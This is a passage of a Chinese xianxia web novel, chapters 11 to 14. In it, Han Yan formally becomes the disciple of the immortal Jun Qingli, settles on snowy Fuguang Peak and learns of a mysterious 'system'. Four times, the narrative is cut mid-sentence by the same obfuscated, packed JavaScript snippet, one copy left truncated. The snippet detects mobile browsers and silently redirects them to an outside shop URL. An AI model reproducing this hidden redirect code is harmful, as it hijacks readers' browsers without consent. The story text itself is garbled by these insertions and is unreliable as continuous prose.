招呼两人:“都坐,不用客气。我这地方没什么好招待的,两位不要嫌弃。” 她给三个杯子倒满水,笑容明媚,“实在嫌弃的话,我也不介意下次两位来时带些好茶。” 裴涣坐下没动,抱着他的剑,跟没听见她的话一样。 君轻离不好意思拒绝,礼貌性地抿了一口,然后表情微僵。 寒砚托腮,促狭一笑,盯着君轻离,等待他的反应。 她说的可都是真话,这些茶叶都不过是在山下随手照顾凡人生意时买下的,毫无灵气可言。 修士修的是清气,凡俗的食物吃多了只会增加体内浊气,百害而无一利,她平常自己也是不喝的,专门拿来招待客人。 “好茶。”君轻离平静地放下见底的茶杯。 裴涣转头看他,没藏住眼底的震惊。 寒砚:“……” 她顿感无趣,恹恹道:“说吧,一个个找我什么事。” 裴涣道:“没什么要紧事,就过来看你醒没有,那些长老总拉着我问。” 他丝毫不提自己一有空就跑过来看她醒没。 寒砚看出他的嘴硬,也不戳穿,“告诉师兄师姐们我一切都好。劳烦师侄再跑一趟了。” 裴涣不喜欢被她喊师侄,有种明明同时入门,但莫名其妙被人压了一头的不快。 闻言,他冷哼,“知道了。” 和他说完,寒砚看向另一个。 君轻离看向裴涣,略带歉意道:“麻烦这位道友先回避一下。” “让我回避?”裴涣差点以为自己听错了。 君轻离点头,示意他没听错。 裴涣一脸不敢置信,看向寒砚,“你我相识十多年,有什么是我不能听的?” 寒砚:“还是有挺多的。” 裴涣抱着剑的手用力收紧,一动不动,好半晌,噌地起身,“你还在生我的气?” 就算她还在生气,但他的骄傲也不允许他在明知自己无错的情况,还要为了讨好谁而低头。 尽管这个人是寒砚。 寒砚嘴角一抽,“你别乱说,我不是那种记仇的人。” “不,你是。”裴涣起身往外走,见她果真不挽留,更加确定了自己的想法。 寒砚:“……” 裴涣对她究竟有什么误解? 旁边响起轻敲石桌的声音,寒砚的注意力被瞬间拉回。 “抱歉。”君轻离神色尴尬,“你们这是闹矛盾了?” 作为师尊,君轻离觉得自己有必要关心徒弟在日常和交友上遇见的麻烦。 上一世,他再见到寒砚时,她就已经和那个叫裴涣的孩子到了不死不休的地步,如今还能坐在一起说话,即便问题已经存在,但尚且还有回旋的余地。 “不过是些无关紧要的小事。”寒砚避而不答,转移话题:“仙君呢,特意来找我又是所谓何事,而且使用的这幅模样?” 君轻离不在意地笑笑,“久未见人,门内弟子一贯活泼,还是这样在宗门内行走较为方便。” 寒砚表示理解,想起他本体的样子,长得确实招摇。 君轻离又问起她是否还记得苍穹塔里发生的事情。 “那时……” 寒砚拍拍自己的脑袋,“当时明明跟仙君一起的,睁开就到了另一个空间,然后凭空出现了一个孩子,说自己是苍穹塔灵,我就让他带我来找仙君……他答应了,后面的事,就没什么印象了。” “失去记忆的最后一刻,可还记得自己在做什么?” 寒砚眨眨眼,努力回想着,“我好像捡起了一把剑……” 君轻离拂袖,一把湛蓝色长剑出现在石桌上,“可是它?” 寒砚咦了声,“好像是,不过仙君的青光剑呢?” “青光剑?”君轻离茫然,想起什么,不由失笑,指尖点在剑身,长剑恢复了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888585|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寒砚第一次见的模样。 “你说这?它有名字,它叫‘归去’。” 寒砚不好意思地笑了笑。 君轻离再三考虑,还是将她身上发生的异样告诉了她。 寒砚似是被他所说吓到,喃喃:“我不知道……” “当时我探查过你的身体,并没有什么特殊的情况。” 修士堕魔之后,多数会修炼邪术以提升修为,因而瞳色会受到影响,但她的体内并没有灵力之外的气息,也不曾在她丹田内发现黑气。 她只是个普通筑基修士,甚至远比其他筑基还要体弱。 在苍穹塔那一战,透支了她的身体,现在她的身体比出事情糟糕了不少。 “如今尚且不知诱因是何,你这段时间先待在我身边。”君轻离收回归去剑。 不管是因为系统任务,还是因为她身上的异常,他都必须将她带在身边。 她只是在他面前失控还好,若是在其他人面前,还不知会引发什么乱子。 寒砚乖乖答应。 “除了这个,还有另外一件事,我已问过逍云,拜师仪式尚未全部完成。” 想到自己接下来要说的话,君轻离坐立难安,指腹一遍又一遍地摩擦着那做工粗糙的粗瓷茶杯。 上一世,他将寒砚带回剑宗时,仅口头上说了收徒就匆匆离开,他也曾托逍云问过,问她是否愿意干脆就拜在逍云门下。 但寒砚回绝了他的提议。 之后,一直是逍云在照顾寒砚。 所以剩下的仪式,他想亲自同她一起。 寒砚动作迟缓地眨了眨眼,“仙君这是……还想收我做弟子?” “是。”君轻离点头,温和的眼神格外真挚。 他表情看上去还算放松,身体却不自觉紧绷,眼底是无法掩饰的忐忑不安。 “此次回宗,我会待上很长一段时间,过去我没能教你什么,往后,我会将我毕生所学传授于你。你是我唯一的弟子,待我陨落后,你会继任扶光峰,成为新的长老。” 君轻离虽然经常不在,但在宗门内也是挂了个长老名的。 寒砚皱起眉头,不知道他好端端的,说什么陨落? 要知道以他的修为和寒砚如今展现的天赋,说不定她都老死了,他也还活得好好的。 不过仅疑惑了一瞬,她突然想起系统给的那份大纲。 剧情里,身为仙门之首的长泽仙君几乎从未被提及,即便是在男主被追杀的百年中也从未出现过,简直像是一个无关紧要的边缘人物。 如果不是寒砚成了书中人,只怕会以为根本没这么号人。 可是以君轻离的身份,这显然不合理。 寒砚并不清楚他这些年具体在做什么,掌门对外也只是说仙君闭关,不可打扰。 仙门如非必要,都不会想着让他出面,可以说他在修真界的存在感,远不及在剑宗那般高。 但话又说回来,这万年来仙门真遇到点什么解决不了的事情,还没出现过联系不上他的情况。 兴许大纲中,为了让男主顺利黑化,给君轻离强制下线了。 毕竟有他在,无妄剑宗断不会轻易灭门。 就像这次,许多弟子都还没反应过来发生了什么,一场灭门危机就被他悄然化解。 寒砚长时间不开口,君轻离以为她打算拒绝,纠结片刻,他从随身洞府中翻出一个朴实无华的乾坤袋递给她。 她会不会觉得这太过敷衍? “这是什么?” “拜师礼,没什么好东西,你日后若是缺什么,直接告诉我便好。” 寒砚精神一振,坐直了身体,喜笑颜开,“咱们师徒,讲这些,多见外啊。” 口中说着客气的话,手上动作却半点不慢。 君轻离就听见“师徒”两个字了,心下不免松了口气,脸上露出个笑。 “今日你便随我去群英殿,点魂灯,祭先祖,完成最后一道仪式。” 寒砚开心收起乾坤袋,现在的她非常好说话,声音轻快道:“都听师尊的。” 12. 第12章 剑宗有规定,拜师以后方可由师尊引着点魂灯,拜祭先祖。故而寒砚在内门待了这么久,一直没有属于自己的魂灯。 这个环节并不复杂,只有寒砚和君轻离两个人,没必要再劳烦旁人。 群英殿位于见水峰前山,后山为剑冢,里面沉眠了无数剑宗先辈的本命剑。 这座山峰并不大,算是剑宗最严肃的地方,轻易不可踏入,以免扰了先人安眠。 还未靠近,寒砚心神微震,清晰感受到充满震慑的浩荡剑气。 正气浩然,神魔退避。 寒砚面色如常,淡定跟在君轻离身后,望向见水峰的眼神透着隐晦的忌惮。 剑宗的三大底牌,位于山门的护宗大阵,闭关的几位太上长老,以及见水峰危险神秘的剑冢。 ——至于君轻离,所有人都默默地将他排除在外。 剑冢十年一开,以供剑宗小辈取剑。仅需达到两个条件,一个是达到筑基修为,一个是为宗门做出贡献。后者范围比较宽泛,整体而言不算难。 难的是得到灵剑认可,顺利取出心仪的一把。 两年前,寒砚步入筑基时也获得了进剑冢的资格,但她一来有君轻离赠与的武器,二来她那时虽然还没恢复记忆,但也潜意识不想与剑冢多有交集。 所以,她放弃了这个资格。 …… 群英殿内,前方大殿点了数千盏长明灯,摆放着在过往万年中为抵抗外敌牺牲的先辈牌位。 数不清的牌位密密麻麻,几乎占据了大殿的全部空间。 修士们用了特殊的手法,将亡者的生平信息都刻入牌位中,只需注入灵力,便可观得一位先辈的过往。 后殿,是已确定师承的小辈魂灯,他们也将会是宗门未来的顶梁柱。 如此安排,不仅是希望已逝去的先人可以庇护小辈,也是希望有着小辈的魂灯在,这些先人不管魂归何处都不会觉得孤寒。 君轻离去取东西,寒砚便在前殿闲逛。 指尖碰到一个牌位,上面就会浮现所属者的生平。 若逝者有灵,也不知是否会觉得她过于轻浮,对他们这些先辈不够尊重。 少女视线落在一尊尊牌位上,白净清丽的脸上敛去笑容,显得格外沉静。 相传,殿内所有牌位都是由建木所制,被神木庇佑的灵魂不会如寻常修士一般消散,而是会被引向鬼域成为鬼修。 不过传言就是传言,没有人能够违抗天道定下的规则。 筑基以上,身死道消,反哺天地万物。 君轻离收拾好出来,寒砚顺口问了他建木传言一事。 他略微失神,摇头:“真也不真。” “是有建木,但只有你师祖的牌位才是。师尊当年与东海的一位尊者有些交情,对方又得师尊相助,这才忍痛赠与师尊一截枯木。说起来也荒谬,不过一截枯木,纵然还残存一些神力却也微弱至极,可即便如此,也在招惹了诸多觊觎。” 不少人明里暗里打探,还将手伸到了他这里。 “师祖?可是印良尊者。” 君轻离点头,领着寒砚往后殿走,“我需要抽取你一丝神魂,你不必抗拒,不会痛。” 寒砚应好,乖巧地站着,似乎全然信任着他。 君轻离左手持着赤金色的命灯,右手双指一并,轻点在寒砚头顶上空约一寸距离的地方。 正如他所说,寒砚还什么都没感受到,君轻离就告诉她完成了。 有人觉得取神魂很可怕,但实际上点魂灯所取的这点,还不如凡人做一场噩梦丢得多。 至此,仪式才算完成。 连接在二人神魂的命线,愈发凝实。 君轻离带着寒砚回了扶光峰。 扶光峰上,满山草木尽被霜雪覆盖,天寒地冻,由于久无人打理,积雪深达半人,将原本的道路彻底掩盖。 寒砚在尚未恢复记忆时来过一次。 现如今这座山还和之前一样,毫无人气。 无穷无尽的白占满了视线,她抬脚往里走了两步,人陷进了雪中,风雪交加,冷气渗入骨髓,又被君轻离挥手散去。 难怪之前君轻离将她带回来,却从未想过要她住在扶光峰。 筑基身体都难以抵御的冰灵气,更别提入道以前的凡人身躯。 君轻离解释道:“扶光峰的寒气太过强势,本来无论是对于淬体,还是促进灵气吐纳都十分有益,但你身子骨太过虚弱,莫要多接触,你的弟子令牌呢?” 寒砚明白什么,拿出之前在拜师典礼上掌门交给她的令牌。 “以灵力激活,便不会再为寒气所伤。” 寒砚照做。 令牌在她手中闪过一道灵光,暖意涌入经脉,让她不再感受到扶光峰的冷。 “弟子令内储存的灵力有限,一般只能撑到十年,按照扶光峰的规矩,十年后不管弟子是何修为,都只能自己抵御寒气,不可借助外力。” 寒砚:“……” 她可怜巴巴地望着他。 君轻离好笑地拉过她的手腕,“你情况特殊,我亦不是不懂变通之人,不必担忧。走吧,带你去看看你之后的住所。” “多谢师尊!” 坐落在山腰的宫殿占地不大。 殿外四周全是耐寒的灵竹,即便扶光峰常年飘雪也未曾压弯半分。 两人走进大门,大片梅花映入眼帘,梅花树下是寒砚略微眼熟的各色灵植,都是古书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888586|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上几乎灭绝的东西。 红白绿相间的灵植错落生长,灵光氤氲,五彩缤纷,似乎完全不受扶光峰的恶劣天气影响,长势繁茂;却又因常年无人打理,又透出一股天然的野性。 寒砚耳边是风雪呜呜的声音,看着眼前的一切,有些意外。 感应到主人回归,扶光峰风雪渐弱,雪花落在青石板地面上,很快铺了薄薄的一层。 好在宫殿中布有阵法,并不会像外面一样堆积起来。 寒砚看得入神,忽地察觉到什么,猛地转头。 雪花擦过她脸颊,她身侧空无一人。 原本站在身旁的少年,不知何时消失无踪。 “不必紧张,我在后院,进来吧。” 原来是君轻离收回了分身。 扶光峰仅有他们二人,自然不必担心引人注目。 往里面走,寒砚穿过野蛮生长的梅树,头发和衣袍上都沾上了少许花瓣,终于来到梅花林尽头,见到了这座宫殿的主人。 白雾浓郁,悠闲飘在一眼望不见岸的湖面之上,恍若仙境般神秘清冷。 湖泊被小路一分为二,路的两侧长满奇花异草,她脚下不曾迟疑,快步走向视线中尚且朦胧的人影。 岸边,一身青衫的男子坐在竹椅上垂钓,柔顺长发滑过宽阔瘦削的肩,闲闲垂落在地,同柔软的衣衫堆叠在一起。 “仙君?”寒砚远远地喊。 君轻离抬首,眉间银色道纹在扶光峰略显黯淡的光线下并不起眼,但总能吸引寒砚注意。 他朝她笑了笑,目光好似羽毛一样轻盈,比了个噤声的动作,视线又转回鱼线。 寒砚见他旁边还放了个小凳,知道他是为自己备的,嘴角上扬,坐在他旁边。 身前的湖水清澈见底,倒映着少女的身影。 她探出身子,在倒影中看见了自己的脸。 是她的,却又不是她的。 和上一世的长相不能说一模一样,只能说毫不相干。 无妄剑宗弟子上万,不知那系统是以何标准给她挑选的这具身体,长得不一样就算了,和她的灵魂契合度也实在一般。 唯一还算满意的,大抵只有名字一样。 如今君轻离就在她身边,如此近的距离,也不曾发现她并非这具身体的真正灵魂,更没发现她体内的黑气为何物。 寒砚眸色渐深,那个管理局,着实可怕。 “仙君?” 她无奈地扯了下他的衣袖。 这人把她喊过来又晾在一边是不是有病?谁要看钓鱼佬钓鱼? 君轻离没应声,而是伸手揉了下小徒弟的脑袋。 莫名被拍了下头的寒砚:“?” 有病? 13. 第13章 两人一个钓鱼,一个摸鱼,气氛还算融洽。 一个时辰后,寒砚靠着他椅子睡着,手中还攥着他的衣袖。 君轻离默默收起鱼竿,拍了下身旁弟子的肩膀 “醒醒。” 寒砚揉着眼睛,睡眼惺忪,“怎么了?” “该走了。” 寒砚扫了眼他身侧的鱼篓,躺着几尾鱼身近乎透明的螭鲤,在阳光照耀下似冰晶一样剔透。 她不动声色地挑了下眉,看不出来啊,还是有点本事的钓鱼佬。 半个时辰前。 鱼篓里空空如也。 长发青年表情纠结,最终还是五指一抬,冰系灵力随心而动,在半空凝成冰锥。 螭鲤是灵兽,天生精通水系术法,也就君轻离以自身威压镇着,才能像寻常钓鱼一样抛竿。 不过鱼钩上挂了鱼饵,也不见得就能钓上来。 察觉岸边人的意图,几尾螭鲤跳出湖面,挑衅似的摇头摆尾。 天空云层散开,冰锥落下,被螭鲤尽数躲开。 螭鲤从湖中跃起,朝君轻离的方向一甩鱼尾,悠哉转身游向水下。 君轻离还不至于因为几条鱼生气。 他收回手,下一秒,平静的湖面开始疯狂涌动。 原本已经沉入水底的螭鲤被翻滚的湖水掀翻,晕头晕脑地浮出水面。 灵力在螭鲤身上形成一层薄薄的冰,将其牢牢困住。 然后落到鱼篓中…… “仙君捉这鱼做什么?” 君轻离迟疑反问:“鱼,除了吃还能做什么?” 寒砚讶异,“我可不会弄。” “无妨。”君轻离起身,拂袖收了凳子,拎起鱼篓往回走,“我会。” 寒砚跟着起身。 她身高不算低,按照上一世的计量单位,少说也有一米七,而君轻离比她还要高一个头。 他散开的长发垂至脚踝,行走时,被山间的风温柔拂动。 寒砚拍了拍衣裙跟在他身后,视线落在他背影上,“仙君这么长的头发,不会不方便吗?” 虽然修仙之人,法术可以解决生活中几乎所有的麻烦,但多数人的穿着打扮还是以简洁为主。 如今的修真界虽然不至于动不动就打个你死我活,但一言不合就打架也是常有之事。 寒砚突然反应过来自己问了个白痴问题。 修真界谁敢跟君轻离动手? 君轻离没想到她会问这个,迟疑道:“确实不太方便,但是暂时剪不了。” 他没说原因,寒砚识趣地没多问。 扶光峰有一座主殿,两座偏殿,殿内设有厨房、藏书阁,杂物房和炼丹炼器的屋子……可谓应有尽有。 主殿后方不仅有湖泊,还有大片的灵田,不过早已荒芜,长满了各种野草。 剑宗没那么多灵植,前殿所见几乎已经是扶光峰的全部。 路上,寒砚抓着君轻离问了很多,把扶光峰的情况了解个七七八八。 比如说,扶光峰的环境并非人为,而是印良尊者布下的大型阵法,聚灵气于寒池,从而影响了整座山峰的天气。 扶光峰的冰灵气并不温和,亦如剑修的剑,锋芒毕露,所以君轻离才布下结界将扶光峰隔绝,避免伤到路过的无辜弟子。 在他记忆中,偶尔会有剑宗弟子会在山脚下蹭点泄露出去的冰灵气磨剑。 扶光峰自万年前起印良尊者飞升,君轻离不知去何处闭关,九成九的时间里都处于封锁状态,偶尔掌门会过来照看一下。 到了厨房,各种调料和工具都还算齐全。 寒砚长这么大,最多就在野外烤个肉,调料和厨具大多不认识。 “扶光峰没什么地方不能去的,你初来乍到,可以到处看看。”君轻离说着,挽起袖子,露出一截白皙有力的小臂。 他动作略有些生疏地处理螭鲤,但很快熟练起来。 一个人待得太久,平时连个活物也见不着,君轻离有时候都会恍惚,自己是不是还活着。 而这时,每隔十几年从剑宗来的传音,让他感受到,他还在浮华界,还有人记得他。 寒砚扭头往外看。 风雪不知什么时候已经停了,气温开始回暖,积雪却不见融化。 “那就坐等仙君的好消息了。” 她脚步轻快地离开了厨房。 扶光峰除开宫殿所在,其他地方基本上都保留着最原始的状态。 古籍载,万年前仙魔之战,剑宗卷入战火,魔焰吞噬了大半山脉,弟子死伤无数。 扶光峰也在其中。 如今万年已过,仙魔两方都大换血,这座山峰,也不曾留下被战火波及的痕迹。 山间有少许灵兽,个别大胆的会冒出头,打量寒砚这个生面孔,又在她看过去时飞快躲藏。 虽为冰雪覆盖,但难掩生机盎然。 确认同君轻离有段距离后,寒砚布下一道结界,从乾坤袋中拿出一颗双指宽的珠子。 土黄色,有着细微的光泽,看上去并无甚出奇。 是一颗出自九十八层的妖丹,它的主人有着合体期的修为。 她没有在塔中找到蛭妖,只取走了几个对她有点意见的妖族的内丹,当时行事匆匆,想着万一有用呢。 不过…… 寒砚指尖细细摩挲着妖丹,其上并无半分妖气,反而有种令人不适的气息。 按理说,即便是这世间最阴邪的东西也难以影响到她。 寒砚将躲在自己袖中的木偶甩出来,“你看看这个,很奇怪。” 师无故晕乎乎地从雪地里爬起来,被冷得一下子蹿到空中,抱着手臂惊道:“你这是又跑哪去了?!怎么这么冷!” 寒砚抬手将他戳了个仰倒,“你一个木头,知道什么是冷吗?” 她对自己第一个傀儡十分用心,木料是市面上价值千金的云栖木,布帛也是水火不侵的灵丝锦,这都还冷,干脆钻炼丹炉算了。 师无故对她的态度不满,但还是老老实实上前去检查。 他围绕妖丹飞了圈,抬手摩挲着下巴,作思索状。 “确实很奇怪,上面有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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寒砚无辜地睁着眼,当作没听到,自然地接过他递来的碗筷。 她看向面前色香味俱全的食物,犹豫着要不要动筷子。 在君轻离期待的目光中,寒砚小心翼翼地夹了一筷子放进嘴中。 三菜一汤,每份份量都不多,看样子是特意给她做的。 不过味道实在一般,不好吃也不难吃,也就家常菜的程度。 “叮!任务目标好感达20,好感系统正式开启,请宿主再接再厉。” 一道冰冷无机质的声音突兀地响起。 君轻离眉心跳了下,一边留意寒砚的动作,一边在脑海中回应系统:“你现在没事了?” 回应他的是死一般的沉默。 而这道声音,其实和他之前听到的也有所不同,更加僵硬,没有丝毫起伏。 看来系统还在休眠中,君轻离不知自己是失望还是如何。 坐在他对面的寒砚指尖一动。 任务目标?好感系统?宿主? 这个世界还有第二个系统? 在两人各自猜测时,君轻离眼前突然浮现出一道透明光幕,上面的字体和浮华界不太一样,好在差别不大,还不至于造成阅读障碍。 他简单扫了眼,大概明白系统口中好感和好感系统的意思,想来可以辅助他完成任务。 14. 第14章 寒砚不觉得自己的神识比剑宗的长老们强多少。 他们都无法发觉的系统会被她注意到,许是因为曾经绑定过,沾染了她的气息,所以她能听见系统的声音,但听不到君轻离这个宿主的话。 不过,系统为什么会找上君轻离?还说了这些奇奇怪怪的话,又或者,它和背后之人本来的目标就是她? 少女用手支着下巴,眉眼含笑,手上的筷子如常地夹着菜,缓缓放入自己口中。 唔,有点意思。 时空这两个字常常被放在一起使用,但时间是时间,空间是空间。 系统带着她从现代来到浮华界,属于穿梭空间,又怎知它不能操控时间? 不,准确说应该是它背后的势力在操控时空。 时空管理?好大的口气。 如果说君轻离不是这个时间点的君轻离,那么一切就显而易见了。 不过…… 君轻离的反应又告诉她,她似乎一直存在于他的认知中,他第一次见到她时并没有类似于陌生和惊讶的情绪。 除非君轻离演技惊人,表现出来的反应和情绪全部作伪,寒砚不觉得他有这个必要。 至于系统还活着,寒砚并不意外。 让死人复生,话本成真,本身就是堪比神明的能力。 她一次杀不死,很正常。 但第二次,可就未必了。 寒砚垂下眼帘,“仙君为何要做这些?” 心中藏着事的君轻离啊了声,反应过来她说的什么,“算是扶光峰的欢迎仪式,每逢新弟子入门,长者都会以寒池中的螭鲤招待,大意就是,用了扶光峰的食物以后就是扶光峰的人了……” 寒砚没想到是这么个说法,噗嗤笑出声。 君轻离无奈道:“当初师尊不通厨艺,我入门时亦是自己动的手。” 寒砚想到什么,咬着筷子,“听说魔尊和仙君您师出同门……弟子一时好奇,仙君若是觉得不能说也无妨。” 明明她才是晚辈,可这话一出口,却仿佛是她大度不跟他计较一样。 君轻离没在意这些细节,他本身话不多,被寒砚一问,难得起了两分谈性,不禁摇头轻笑:“比起修行,世人总是更关注这些与自己无关的琐事,没什么不能说的。” 寒砚心道,凡夫俗子爱吃点瓜怎么了,他们可没到他这个无欲无求,仿佛下一秒就要羽化登仙的地步。 正如君轻离所说,他并不在意那些被世人当做所谓秘辛的往事。 而且大家私底下聊得热火朝天,他也多多少少知道些。 “镜修竹确实是我师弟,他是师尊从外面捡回来的,人魔混血,生性乖张。他的父亲是上一任的魔君,母亲是个普通修士,据说是被魔君欺骗生下了他。除了师尊,他一贯不服管教,没少给宗门惹事。” 他说这些的时候表情和语气都很平静,没有厌恶也没有怀恋,像是在说一个不相关的陌生人。 “他入门时,师尊提了嘴这个旧例,他自己去抓了条螭鲤,却因修为太低,险些被冻死在寒池旁。那寒气非同寻常,他身体又差,抢救了好一段时间。师尊让我教导他习剑,他也不会将我的话放在心上,后来忙起来,多年后再见面,他魔君之子的身份暴露,我奉命将他带回宗门,废去修为关押在水牢中。师尊怜他无辜,有意保他性命,和仙门之人几番周旋,但……” 说到此,他神色微冷,“魔就是如此,大多不知感恩,毫无人性,他打伤了看守水牢的弟子,跟着魔君的人去了魔界,途中还伤及无辜。” “你要记住我的话,不可轻信魔族的花言巧语,尽管其中也有为善者,但太过稀少,这样的魔很难在魔界中生存……咳咳。” 君轻离脸上还残留着几分苍白,显然在天炁境中受的伤还没好,平复下来后继续道: “之后,镜修竹杀魔君、掌魔界,残害浮生仙宗大弟子,自号浮生魔尊。你日后见了他,切莫将他当做师叔看待,他不会对仙门的人手下留情,包括你我。” “好的,师尊。” 巧了,她也不会对人敢招惹她的人手下留情。 …… 扶光峰的生活十分平淡,君轻离又带着她熟悉了遍环境后,给她安排了之后的修行任务,她只需要老老实实照做就好。 唯一不好的就是,和他待在一起,寒砚不好将师无故放出来,也不能再折腾自己的小众爱好。 寒砚照常晨练时,君轻离坐在一旁,偶尔开口纠正她的错误。 他忽地问了她一句话。 “为何不学剑?” 寒砚刚好结束,将束在腰间的裙摆放下,坐到他对面,准备开始练习画符。 她并未多加犹豫,“师尊不会想知道这个答案的。” “你如何肯定我不想知道?” 君轻离盯紧她的表情,很挫败地发现,自己根本无法看出她到底在想什么。 上一世,他问过她这个问题,她也是这般回他,可他至死也不曾从她口中得到答案。 因为她从未真正地信任自己。 难过谈不上,但难免会有些失落。 “哎呀……” 她挪过来,坐到他身边,撒娇般扯了扯他的衣袖,“师尊都已经是这世间最强的剑修了,我再怎么努力也越不过师尊去,何必还要死磕剑术,大道千千万万,我只想学自己喜欢的,师尊觉得我做错了吗?” 她问归问,语气和表情可一点都不觉得自己有什么不对。 “你不要曲解我的意思,身处剑宗却不学剑,你会错失很多机缘。”他长叹一口气,“算了,我教现在的你还是够的。” 寒砚乐了,打趣他道:“什么叫现在的我,师尊是觉得日后教我就不行了?” 君轻离没反驳她的话,“术业有专攻,我该带你去多认识些人,若是你学其他有什么不懂的,也可以问他们。” 寒砚心道有些东西她敢问,别人也未必敢答啊。 君轻离察觉到有人在靠近扶光峰的结界,神识一扫,竟然还是他认识的弟子。 “阿砚,逍云座下的那个小辈找你。” “裴涣?” 君轻离点头。 果然下一刻,寒砚放在乾坤袋中的通讯玉简上,就亮起了裴涣二字。 寒砚将玉简拿出来,“找我什么事?” 玉简中响起裴涣的声音,“三言两语说不清楚,你先下山来。” 维持玉简需要不少灵力,对方很快掐断了传音。 寒砚:……并不想动。 “师尊,那我就先下去了。” 君轻离颔首,“注意安全。” 虽然不知道在自己宗门有什么需要注意的,但寒砚还是好好答应了声。 下山路上。 这些天憋惨了的师无故爬上寒砚肩头,叽叽喳喳地说着些什么,寒砚在想别的事,任由他一边说,一边瞎蹦跶踩着她的头发。 师无故见她完全没听他在说什么,终于忍无可忍,扯了下她的头发。 “你有没有听我说话!” 寒砚吃痛,侧首用额头撞了他一下,恶狠狠道:“你最好要说点有用的。” “你的身体,要坏了。” 师无故语气沉重。 因为与寒砚建立了联系的缘故,他比任何人,甚至她那个仙君师父都还要清楚她的身体状况。 他不明白,为什么年仅十八的骨龄,身体虚弱成这样,眼瞧着就要活不过一年。 师无故自认还算有些见识,但也完全看不出她身体的病因。 寒砚还以为他要说什么,“就这?” “以你现在不上不下的筑基修为,身体被毁你也就彻底死了,魂飞魄散,意识泯灭,连夺舍的机会都没有。” 筑基修士的魂魄太过脆弱,几乎与凡人无异。 寒砚鄙夷道:“我好歹是个正道修士,怎么可能做夺舍那种事?” 师无故被她气个半死,“你是不是关心的点错了?我是让你去夺舍吗?我是说你修为低得没眼看,一旦身躯毁去连其他生路都没有!” “不,不对!你才不会死。” 他想起什么,又改口,“是因为你身体内那股奇怪的力量?不管如何,你身体的破损一日胜过一日,你撑不了多久,我劝你早做打算。” “坏了就坏了……” 师无故深呼吸,用尽全身力气平静下来,咬牙:“你死得轻松,我怎么办?我还不想死。” 寒砚如今是他的主人,她死了,作为傀儡他也得跟着灰飞烟灭,除非她主动解除联系,不过这不用想也知道不可能。 “我还以为你是在关心我呢,真是让人伤心。” 师无故一阵恶寒,“你是不是对我们的关系有什么误解?” “你说错了,不是我误解,而是你有什么误解。” 寒砚笑吟吟道:“我一个修士,临死前还能带走一个魔界长老,那是要流芳百世的。” 和她待了一段时间,差点忘记她是仙门中人的师无故顿时心凉了半截。 缩在她袖子里,当场自闭。 寒砚被他的反应逗得放声大笑。 很快,寒砚见到站在山脚结界外,身姿挺拔的少年。 如一颗小白杨,青涩又笔直。 他手指散漫地敲着剑柄,光影落在身上,柔和了身上过于锋锐的气场。 听见动静,扭头望向寒砚。 寒砚穿过结界,“现在可以说了吧。” 裴涣不自觉握紧了别在腰间的剑,这是他紧张时下意识的小动作。 “我来找你,是为了苍穹塔的后续处理事宜。” 寒砚险些以为他在说笑。 这都多少天了,还能有什么需要她去帮忙? “连溪长老出塔当天,就提着剑去魔界了。”说到这件事,裴涣的表情变得一言难尽,同情道:“常师兄一个人处理仰止峰大大小小的事情已经快忙疯了。” “苍穹塔此次受损严重,长老们还在商讨如何修补,后续可能需要仙君出手。我来找你,是为了处理那些魔气入体的妖族,魔气不除,它们难以活命,年轻弟子中你的清心诀修得最好。” 他抓紧她的手腕,眼底带着几分警告,“你这次别想浑水摸鱼,清心诀而已,并不会损害身体。” 以前每次和她一起出任务,这人都借着身体不好,将所有事都推给他。 他和寒砚几乎是前后脚入门,平时修行都在一起,他自认比其他任何人都更了解她,并不觉得她是个需要被人小心呵护的瓷娃娃。 寒砚挣脱开他的手,细长秀气的眉皱紧。 她……清心诀修得好?有这么回事? 寒砚在记忆里好一阵搜索,哦,好像是有这么回事。 剑宗传统,弟子筑基后就可以申请外出历练,当初寒砚晚裴涣两年筑基,唯一主动申请的那一次,好巧不巧就是裴涣和见水峰的裴初弦长老带队。 裴初弦和裴涣都出自裴氏皇族。 真要说起来,对方还是裴涣隔了不知道多少辈的姑奶奶,不过修士离家多年,早已不剩几分感情,仅留的一分最多让她随手照拂下裴涣。 扯远了,重点是他们历练途中遇见了个刚入魔不久还未来得及伤人的妖。 那只妖修为深厚,被制服后,一时间体内魔气难以拔除,剑宗众人本打算将其带去禅宗处置。 禅宗那群和尚最擅长这些。 但那妖被控制住后,每晚被魔气折磨得死去活来,嚎个不停,寒砚烦不胜烦,干脆取走了那只妖的魔气,再加上武力威胁,那妖才勉强安静下来。 入魔的生物没有理智,想让它安静下来,要么取走魔气,要么直接杀了,两者对于寒砚而言都不过动动手指的问题。 第二天剑宗众人一问起,她就随口扯了个清心诀当借口。 清心诀是基础法术,但所谓大道至简,要完全掌握也不容易,尤其他们还是剑修,精通的人少之又少。 于是误会就这样美美地产生了。 裴涣见她皱眉,不由得放缓了语气解释:“塔中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 